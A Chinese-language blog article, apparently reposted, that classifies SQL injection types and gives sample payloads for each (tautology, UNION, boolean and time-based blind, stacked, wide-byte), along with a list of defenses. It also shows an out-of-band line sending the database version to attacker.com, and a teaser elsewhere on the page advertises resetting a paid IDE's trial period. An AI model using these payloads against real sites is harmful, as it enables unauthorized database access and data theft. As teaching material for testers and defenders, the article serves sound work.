当前位置：首页 > news >正文

总结-SQL注入分类手法注入漏洞总结性分化说明

news 来源：原创 2025/6/30 21:20:57

关键要点

按参数类型分类

按提交方式分类

按反馈结果分类

其他高级注入类型

关键要点

SQL注入类型按参数类型、提交方式、反馈结果和其他高级类型分类，涵盖多种攻击场景。
每个类型都有具体示例语句，方便识别和测试。
防御措施包括使用参数化查询、输入验证和定期安全审计。

按参数类型分类

SQL注入根据参数类型可分为数字型、字符型和搜索型注入。以下是详细说明和示例语句：

数字型注入：针对数值字段的注入，常见于ID参数。
- 示例语句：id=1 OR 1=1
- 说明：通过在数值字段中注入逻辑条件，绕过限制。
字符型注入：针对字符串字段的注入，常见于用户名或密码输入。
- 示例语句：username=' OR 1=1 --
- 说明：利用单引号闭合字符串，执行额外SQL逻辑。
搜索型注入：针对搜索功能的注入，常见于模糊查询。
- 示例语句：product_name='anything' OR 1=1
- 说明：通过搜索条件注入，获取更多数据。

按提交方式分类

根据提交方式，SQL注入可分为GET、POST和Cookie/HTTP头注入：

GET注入：通过URL参数提交，易于测试。
- 示例语句：http://example.com/page.php? id=1' OR 1=1 --
- 说明：直接在URL中注入，适合公开参数。
POST注入：通过表单数据提交，隐藏性较高。
- 示例语句：用户名字段输入' OR 1=1 --，密码任意
- 说明：常用于登录表单，需抓包分析。
Cookie/HTTP头注入：通过Cookie或HTTP头字段注入。
- 示例语句：Cookie user_id=1' OR 1=1 --
- 说明：利用非标准字段，绕过前端验证。

按反馈结果分类

根据反馈方式，SQL注入可分为报错注入、布尔盲注、时间盲注和联合查询注入：

报错注入：通过触发数据库错误获取信息。
- 示例语句：SELECT * FROM table WHERE column = 'some_value' AND (SELECT * FROM information_schema.tables) --
- 说明：利用错误信息泄露数据库结构。
布尔盲注：根据页面真假响应推断信息。
- 示例语句：admin' and (select ascii(substr(database(),1,1)) > 100 --
- 说明：通过条件判断页面行为，逐步提取数据。
时间盲注：通过延时判断条件真假。
- 示例语句：id=1 AND (SELECT BENCHMARK(1000000, MD5('a'))) --
- 说明：若响应延迟，说明条件成立。
联合查询注入：通过UNION操作合并结果集。
- 示例语句：id=-1 UNION SELECT 1,2,3 FROM users --
- 说明：获取额外数据，需匹配列数。

其他高级注入类型

包括堆叠注入、二次注入、宽字节注入和带外注入：

堆叠注入：执行多条SQL语句。
- 示例语句：id=1; SELECT * FROM users --
- 说明：分号分隔多条命令，需数据库支持。
二次注入：存储后延迟执行的注入。
- 说明：数据存储后在后续查询中触发，无直接语句示例。
宽字节注入：利用编码差异绕过过滤。
- 示例语句：username=%df%27 OR 1=1 --
- 说明：GBK编码中，%df与转义符结合生效。
带外注入：通过网络请求泄露数据。
- 示例语句：SELECT LOAD_FILE(CONCAT('http://attacker.com/', @@version)) --
- 说明：利用数据库功能与外部通信。

防御措施

使用参数化查询，分离SQL代码与用户输入。
验证并清理所有输入，防止恶意数据。
数据库账户遵循最小权限原则。
定期进行安全审计和渗透测试。

调查笔记：SQL注入类型与详细分析

SQL注入是一种常见的Web安全漏洞，攻击者通过注入恶意SQL代码，操纵数据库查询以获取敏感信息、执行非法操作或破坏系统。以下按分类详细分析各类型及其示例语句，涵盖参数类型、提交方式、反馈结果和其他高级类型，并补充防御策略。

一、按参数类型分类

SQL注入根据参数类型可分为数字型、字符型和搜索型注入，具体如下：

数字型注入
- 定义：针对预期为数字的输入字段（如ID参数），攻击者注入SQL逻辑。
- 特点：无需闭合引号，常见于URL参数。
- 示例语句：id=1 OR 1=1
  - 解释：通过逻辑条件OR 1=1使查询始终为真，返回所有记录。
  - 应用场景：产品详情页，如http://example.com/product.php?id=1 OR 1=1。
- 检测方法：观察页面返回异常数据或所有记录。
字符型注入
- 定义：针对字符串输入字段（如用户名、密码），利用引号闭合注入SQL。
- 特点：需处理引号闭合，常见于表单输入。
- 示例语句：username=' OR 1=1 --
  - 解释：单引号闭合原字符串，--注释剩余条件，使查询为真。
  - 应用场景：登录表单，攻击者输入' OR 1=1 --作为用户名。
- 检测方法：页面返回登录成功或异常数据。
搜索型注入
- 定义：针对搜索功能（如模糊查询），注入SQL逻辑扩大结果集。
- 特点：常涉及LIKE操作符，易被利用。
- 示例语句：product_name='anything' OR 1=1
  - 解释：通过OR 1=1使搜索条件始终成立，返回所有产品。
  - 应用场景：搜索栏，如http://example.com/search?q=anything' OR 1=1。
- 检测方法：搜索结果异常扩大。

二、按提交方式分类

根据数据提交方式，SQL注入可分为GET、POST和Cookie/HTTP头注入：

GET注入
- 定义：通过URL参数提交，易于测试和记录。
- 特点：参数公开，适合自动化工具。
- 示例语句：http://example.com/page.php? id=1' OR 1=1 --
  - 解释：URL中注入，--注释剩余查询。
  - 应用场景：分页或详情页参数。
- 检测方法：修改URL参数，观察页面变化。
POST注入
- 定义：通过表单数据提交，隐藏性较高。
- 特点：需抓包工具（如Burp Suite）分析。
- 示例语句：用户名字段输入' OR 1=1 --，密码任意
  - 解释：POST数据中注入，适合登录或注册表单。
  - 应用场景：用户注册、登录接口。
- 检测方法：抓包修改POST数据，观察响应。
Cookie/HTTP头注入
- 定义：通过Cookie值或HTTP头字段（如User-Agent）注入。
- 特点：非标准输入，绕过前端验证。
- 示例语句：Cookie user_id=1' OR 1=1 --
  - 解释：利用Cookie存储注入逻辑。
  - 应用场景：会话管理或身份验证。
- 检测方法：修改Cookie值，观察页面行为。

三、按反馈结果分类

根据攻击反馈方式，SQL注入可分为报错注入、布尔盲注、时间盲注和联合查询注入：

报错注入（Error-based）
- 定义：通过触发数据库错误获取信息，如表名、列名。
- 特点：依赖错误信息显示，常见于开发环境。
- 示例语句：SELECT * FROM table WHERE column = 'some_value' AND (SELECT * FROM information_schema.tables) --
  - 解释：触发错误，泄露数据库元数据。
  - 应用场景：未关闭错误回显的系统。
- 检测方法：观察页面返回SQL错误信息。
布尔盲注（Boolean-based Blind）
- 定义：根据页面真假响应推断信息，无直接错误输出。
- 特点：需逐字符猜解，效率较低。
- 示例语句：admin' and (select ascii(substr(database(),1,1)) > 100 --
  - 解释：通过ASCII值比较判断数据库名首字符。
  - 应用场景：无错误回显的系统。
- 检测方法：观察页面行为差异（如登录成功/失败）。
时间盲注（Time-based Blind）
- 定义：通过延时函数判断条件真假，无直接输出。
- 特点：依赖响应时间，适合高延迟环境。
- 示例语句：id=1 AND (SELECT BENCHMARK(1000000, MD5('a'))) --
  - 解释：若条件真，响应延迟（如MySQL的BENCHMARK）。
  - 应用场景：无错误回显，需时间差分析。
- 检测方法：比较请求响应时间。
联合查询注入（Union-based）
- 定义：通过UNION操作合并结果集，获取额外数据。
- 特点：需匹配列数，适合有回显的系统。
- 示例语句：id=-1 UNION SELECT 1,2,3 FROM users --
  - 解释：将注入结果与原查询合并显示。
  - 应用场景：列表页或详情页有数据回显。
- 检测方法：观察页面返回额外数据。

四、其他高级注入类型

包括堆叠注入、二次注入、宽字节注入和带外注入：

堆叠注入（Stacked Queries）
- 定义：执行多条SQL语句，需数据库支持。
- 特点：分号分隔，适合修改数据。
- 示例语句：id=1; SELECT * FROM users --
  - 解释：执行多条命令，需数据库允许堆叠查询。
  - 应用场景：修改或删除数据。
- 检测方法：观察数据变化或错误。
二次注入（Second-order）
- 定义：注入数据存储后，在后续查询中触发。
- 特点：延迟执行，需分析数据流。
- 说明：无直接语句示例，因依赖应用逻辑。
宽字节注入
- 定义：利用编码差异（如GBK）绕过过滤。
- 特点：常见于老系统，%df与转义符结合。
- 示例语句：username=%df%27 OR 1=1 --
  - 解释：GBK编码中，%df使单引号生效。
  - 应用场景：未统一编码的系统。
- 检测方法：测试特殊编码输入。
带外注入（OOB）
- 定义：通过数据库功能与外部通信，泄露数据。
- 特点：需网络可达，适合高隐蔽性。
- 示例语句：SELECT LOAD_FILE(CONCAT('http://attacker.com/', @@version)) --
  - 解释：利用LOAD_FILE与DNS日志结合。
  - 应用场景：防火墙允许外连。
- 检测方法：监控DNS请求或外部响应。

五、最新漏洞动态

截至2025年3月7日，SQL注入攻击趋势包括：

针对新兴框架（如GraphQL）的注入，利用复杂查询结构。
高级混淆技术，如多重编码和DNS带外通信。
OWASP TOP 10（OWASP Top 10）持续更新，强调输入验证的重要性。

六、防御措施

参数化查询：使用预编译语句，分离SQL代码与输入，如JDBC的PreparedStatement。
输入验证：对所有用户输入进行白名单验证，过滤特殊字符。
最小权限：数据库账户仅授予必要权限，限制操作范围。
定期审计：使用工具如SQLMap进行渗透测试，结合代码审查。
WAF部署：配置WAF规则检测SQL关键字，结合行为分析。

总结

SQL注入类型多样，攻击手法随防护技术演进不断变化。实际工作中需结合代码审计、自动化工具及安全开发规范（如OWASP TOP 10）综合防御。

关键引用

OWASP Top 10 Security Risks

总结-SQL注入分类手法注入漏洞总结性分化说明

目录关键要点按参数类型分类按提交方式分类按反馈结果分类其他高级注入类型最新漏洞动态防御措施调查笔记：SQL注入类型与详细分析一、按参数类型分类二、按提交方式分类三、按反馈结果分类四、其他高级注入类型五、最新漏洞动态六、防御…...

编程日记 2025/6/30 21:20:57

Linux:进程的创建进程的终止

进程的创建 fork fork是c语言中的一个函数，用于创建新的子进程，它存放在<unistd.h>的头文件中当我们运行程序时，如果使用了fork函数那么就会为这个进程创建一个它的子进程，这个子进程会继承父进程的所有数据和代码&…...

编程日记 2025/6/29 9:15:24

long? value null; // 看它是不是 HEX_STRING var dtAttr prop.GetCustomAttribute<DataTypeAttribute>(); if (dtAttr ! null && dtAttr.DataType DataType.HEX_STRING) {// 去掉可能的 "0x" 前缀string txt attribute.Value.StartsWith("0…...

编程日记 2025/6/29 12:29:45

机器人灵巧手有刷与无刷空心杯电机解析

一、电机结构分析（一）有刷空心杯电机结构有刷空心杯电机主要由上壳、碳刷、连接板、换向器线圈、外壳、轴承、永磁体、下壳及轴承密封圈组成。碳刷与换向器直接接触，负责传导电流，使线圈在永磁体产生的磁场中受力转动。这种机械换向方式虽直接，但碳刷磨损会影响电机寿命…...

编程日记 2025/6/29 9:14:18

JetBrains GoLang IDE无限重置试用期，适用最新2025版

注意本文仅用于学习使用！！！ 本文在重置2024.3.5版本亲测有效，环境为window(mac下应该也一样奏效) 之前eval-reset插件只能在比较低的版本才能起作用。总结起来就一句：卸载重装，额外要删掉旧安装文件和注册…...

编程日记 2025/6/29 12:08:02

【网络应用程序设计】实验四：物联网监控系统

个人博客：https://alive0103.github.io/ 代码在GitHub：https://github.com/Alive0103/XDU-CS-lab 能点个Star就更好了，欢迎来逛逛哇~❣ 主播写的刚够满足基本功能，多有不足，仅供参考，还请提PR指正&#xff…...

编程日记 2025/6/29 9:17:04

第六章：安全最佳实践

Chapter 6: 安全最佳实践 🌟 从上一章到本章在第五章：框架/工具抽象中，我们学会了如何用框架快速搭建MCP服务器。现在想象这样一个场景：你的文件服务器已经开发完成，但突然发现恶意用户能通过路径遍历攻击访问系统文…...

编程日记 2025/6/29 10:02:47

最高支持高速L3商用，华为发布ADS 4智驾系统

作者 |张马也编辑 |德新 4月22日，华为在上海召开乾崑智能技术大会。会上，华为正式推出乾崑智驾ADS 4、鸿蒙座舱HarmonySpace 5、乾崑车控XMC数字底盘引擎等一系列智能汽车解决方案。其中最为重磅的是，华为正式发布高速L3商用解决方案&a…...

编程日记 2025/6/29 11:47:19

[创业之路-382]：企业法务 - 企业如何通过技术专利与技术秘密保护自己

企业通过技术专利与技术秘密保护自身创新成果是构建核心竞争力的关键策略。以下从技术专利和技术秘密两大维度，系统阐述其保护路径及实施要点： 一、技术专利保护策略 1. 专利布局规划核心专利：针对核心技术进行专利申请，构建基…...

编程日记 2025/6/29 9:54:18

多路转接epoll原理详解

目录从epoll接口入手创建epoll模型用户告诉内核关心的事件内核告诉用户就绪的事件 epoll的原理整体思路如何判断事件是否就绪事件就绪后如何实现将节点插入就绪队列从epoll接口入手本篇文章从epoll的三个接口入手介绍epoll的具体工作原理创建epoll模型 #in…...

编程日记 2025/6/29 12:12:23

基于 MCP用 Python 搭建 “大模型网关”在 MCP 服务器端聚合多个大模型的 API，将其统一为 MCP 协议接口

下面给出基于 MCP（Model-Connection-Protocol）设计思想，用 Python 搭建 “大模型网关” 的典型开发流程。整体思路是：在 MCP 服务器端聚合多个大模型的 API，将其统一为 MCP 协议接口；在客户端按需调用这些统一后的接口。总结如下：概要：需求与架构定位：Clarify 要接入…...

编程日记 2025/6/29 10:30:10

Linux的时间函数

ucos中有systick这个系统时间滴答，那linux中有没有这种系统时间滴答呢？有，jiffies，但是用户空间不可以使用。那么在linux中除了使用timer定时器进行定时，可以通过时间滴答的方式来进行粗略的计时吗？下面介绍…...

编程日记 2025/6/29 10:27:09

JCE cannot authenticate the provider BC

本地使用了加密类、并且运行正常、用hutool做RSA加密时候出现这个问题的！ import cn.hutool.core.codec.Base64; import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.StrUtil; import cn.hutool.crypto.SecureUtil; import cn.hutool.crypto.SmUtil; import…...

编程日记 2025/6/29 11:40:35

4.1 融合架构设计：LLM与Agent的协同工作模型

大型语言模型（Large Language Models, LLMs）与智能代理（Agent）的融合架构已成为人工智能领域推动企业智能化的核心技术。这种协同工作模型利用LLM的语言理解、推理和生成能力，为Agent提供强大的知识支持，而…...

编程日记 2025/6/29 9:16:15

【Spec2MP：项目管理之项目风险管理】

在半导体行业竞争白热化的今天，一颗芯片从设计到量产的旅程犹如跨越重重险峰。据行业数据显示，30%的芯片项目因未及时识别风险导致延期交付，而55%的成本超支源于前期风险评估不足。这背后折射出一个核心命题：如何在复杂的技术攻关…...

编程日记 2025/6/29 10:48:14

【Axure教程】表格嵌套卡片

今天教大家制作表格嵌套卡片的原型模版，可以点击加号或减号展开或收起对应部门下的员工卡片信息。这个表格是用中继器制作的，所以使用也很方便，在中继器表格里维护数据，即可自动生成交互效果，具体效果可以打开下方原型…...

编程日记 2025/6/29 10:21:21

无人机动力核心测评：CKESC STONE 180A-M 电调

一、核心技术优势：全场景适配的智能控制方案作为南昌长空科技的工业级产品，南昌长空的STONE 180A-M 电调以高可靠启动算法为核心，支持 6-14S 锂电输入，具备逆风启动稳定性与剧变油门抗丢相能力，实测油门响应时间 300…...

编程日记 2025/6/29 11:59:40

【回眸】Aurix TC397 IST 以太网 UDP 相关开发

前言关于移植IST功能至 Infineon TC397上主要涉及到UDP发送报文及接收。IST是安全诊断相关的工作 Nvidia IST介绍 Orin系列芯片会提供一种机制来检测由系统内测（IST）所产生的永久的故障，IST 应该在 Orin-x 功能安全系统中使用期间被启动。…...

编程日记 2025/6/29 10:32:02

C语言别踩白块附源码

复制即可使用 #define _CRT_SECURE_NO_WARNINGS//一定要放在第一行 #include<stdio.h>//引用输入输出头文件，每一次都需要引用这个文件 #include<math.h> #include<string.h> #include<ctype.h> #include<stdlib.h> #include<io…...

编程日记 2025/6/29 10:17:38

centos7里memcached 的安装使用

memcahced 的概述 Memcached是一个自由开源的，高性能，分布式内存对象缓存系统。 Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应…...

编程日记 2025/6/29 10:12:55

深入理解指针（3）

1.指针的使⽤和传址调⽤ 1.strlen的模拟实现库函数strlen的功能是求字符串⻓度，统计的是字符串中\0 之前的字符的个数。函数原型如下： 参数str接收⼀个字符串的起始地址，然后开始统计字符串中 \0 之前的字符个数，最终返回⻓度。…...

编程日记 2025/6/29 11:43:02

第十届电气、电子和计算机工程研究国际学术研讨会（ISAEECE 2025）

重要信息官网：www.isaeece.com（点击了解参会投稿等） 时间：2025年6月20-22日地点：中国 ▪ 西安征稿主题电气、电子和计算机工程（Electrical, Electronics and Computer Engineering, EECE&#xff09…...

编程日记 2025/6/29 10:59:26

RabbitMQ 中的队列声明

目录一、为什么要声明队列？二、声明队列的基本语法参数说明三、声明队列的示例代码示例 1：声明一个普通的队列示例 2：声明一个持久化队列示例 3：声明一个带 TTL 的队列四、注意事项五、总结在 RabbitMQ 中，队列是消…...

编程日记 2025/6/29 12:28:12

unity Animation学习，精准控制模型动画播放

unity 控制模型动画播放，Animation学习。此脚本挂载在带有动画的模型上。 using System.Collections; using System.Collections.Generic; using UnityEngine;public class AnimationCtrl : MonoBehaviour {void Start(){PlayAnimation();//开始的时候调用播放动…...

编程日记 2025/6/29 12:14:26

大模型面经 | 春招、秋招算法面试常考八股文附答案（六）

大家好，我是皮先生！！今天给大家分享一些关于大模型面试常见的面试题，希望对大家的面试有所帮助。往期回顾：大模型面经 | 春招、秋招算法面试常考八股文附答案（RAG专题一）大模型面经 | 春招、秋招算法面试常考八股文附答案（RAG专题二）大模型面经 | 春招、秋招算法…...

编程日记 2025/6/29 9:53:26

【深度学习】#9 现代循环神经网络

主要参考学习资料： 《动手学深度学习》阿斯顿张等著【动手学深度学习 PyTorch版】哔哩哔哩跟李牧学AI 概述门控循环单元和长短期记忆网络利用门控机制实现对序列输入的选择性记忆。深度循环神经网络堆叠多个循环神经网络层以实现更强的表达能力和特征提取能力。…...

编程日记 2025/6/29 9:35:37

《CBOW 词向量转化实战：让自然语言处理 “读懂” 文字背后的含义》

文章目录前言一、自然语言模型统计语言模型存在的问题总结：这两个问题的本质，第一个是"容量问题"：模型记忆力有限；第二个是"理解力问题"：模型缺乏抽象能力。二、词向量转换1.onehot编码编码过程…...

编程日记 2025/6/29 10:21:03

网络变更：APIC 节点替换

Draft 一、同版本硬件更换 1. 查看 APIC 状态 System > Controllers > (any APIC) > Cluster APIC1> acidiag avread // APIC 参数 2. 下线故障设备 Actions > Decommission 3. 物理移除故障设备，连接目标 APIC 4. 根据第一步中的配置参数配置目…...

编程日记 2025/6/29 11:11:00

Java在excel中导出动态曲线图DEMO

1、环境 JDK8 POI 5.2.3 Springboot2.7 2、DEMO pom <dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>5.2.3</version></dependency><dependency><groupId>commons…...

编程日记 2025/6/29 10:13:53

Python爬虫爬取图片并存储到MongoDB（注意：仅尝试存储一条空的示例数据到MongoDB，验证MongoDB的联通性）

以下是一个使用Python爬取图片并存储到MongoDB的示例实现，包含详细步骤说明： import requests from bs4 import BeautifulSoup from pymongo import MongoClient from datetime import datetime import os import re# 配置信息 mongoIP mongodb://root…...

编程日记 2025/6/29 10:48:47

Qt —— 在Linux下试用QWebEngingView出现的Js错误问题解决（附上四种解决办法）

错误提示：js: A parser-blocking, cross site (i.e. different eTLD+1) script, https:xxxx, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If bloc…...

编程日记 2025/6/29 10:08:08

关键要点

按参数类型分类

按提交方式分类

按反馈结果分类

其他高级注入类型

最新漏洞动态

防御措施

调查笔记：SQL注入类型与详细分析

一、按参数类型分类

二、按提交方式分类

三、按反馈结果分类

四、其他高级注入类型

五、最新漏洞动态

六、防御措施

总结

关键引用

相关文章：